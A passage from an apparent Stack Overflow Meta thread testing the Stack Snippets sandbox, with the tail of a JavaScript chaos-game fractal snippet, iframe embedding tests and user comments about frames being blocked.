 if ( r<UNTERCIO ) n=0; else if ( r<DOSTERCIOS ) n=1; else n=2;
 var p=[V[n][0],V[n][1]];

 var ITERATIONS=10000;
 for ( var i=0 ; i<ITERATIONS ; ++i ) {
      r=Math.random();
      if ( r<UNTERCIO ) n=0; else if ( r<DOSTERCIOS ) n=1; else n=2;
      p[0]=(V[n][0] + p[0])/2.0;
      p[1]=(V[n][1] + p[1])/2.0;
      addPointAt(p);
  }
  document.getElementsByTagName("span")[0].innerHTML="";  
};
body
{
 height:100%;
}

#st
{
         position:relative;
           margin:0 auto;
 background-color:#fff;              
}  

#st div
{
         position:absolute;
            width:2px;
           height:2px;
 background-color:#f00;
 border-radius:1px;
}
<span>Just wait a moment !!!</span>
<div id="st"></div>

11

<iframe> test.

<iframe src="http://meta.stackoverflow.com/questions/269754/stack-snippets-sandbox-try-it-out-here"></iframe>


<iframe> test with height and width:

<iframe height="500px" width="500px" src="http://meta.stackoverflow.com/questions/269754/stack-snippets-sandbox-try-it-out-here"></iframe>


<iframe> test with larger than necessary height and width:

<iframe height="5000px" width="5000px" src="http://meta.stackoverflow.com/questions/269754/stack-snippets-sandbox-try-it-out-here"></iframe>

9
  • 4
    Works for me, but is quite tiny (only spans less then half the screen width). Too small to use. Commented Aug 26, 2014 at 0:32
  • 3
    SO disallows embedding in frames, iirc.
    – Athari
    Commented Aug 26, 2014 at 1:11
  • Yeah, I was curious if you could run these snippets in iframes but that doesn't appear to be the case.
    – j.f.
    Commented Aug 26, 2014 at 1:43
  • I cannot run again Stack Snippets from the iFrame
    – SysDragon
    Commented Aug 26, 2014 at 6:53
  • 32
    Darn it, I can't run an iframe test inside of an iframe test. What kind of a world has this become?
    – user50049
    Commented Aug 26, 2014 at 10:09
  • 9
    inception frames?
    – Daniel E.
    Commented Aug 26, 2014 at 13:11
  • 12
    That's so Meta
    – KyleMit StaffMod
    Commented Aug 26, 2014 at 13:29
  • 1
    Doesn't work on Chrome. Security Reasons ;-)
    – 0xC0DED00D
    Commented Sep 10, 2014 at 21:50
  • @j.f. I just browsed through here. And I clicked "Run Snippet". Then it showed "Consider add a message why downvote". I noticed I pressed the downvote button. FML
    – user6250760
    Commented Jul 28, 2017 at 6:50

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .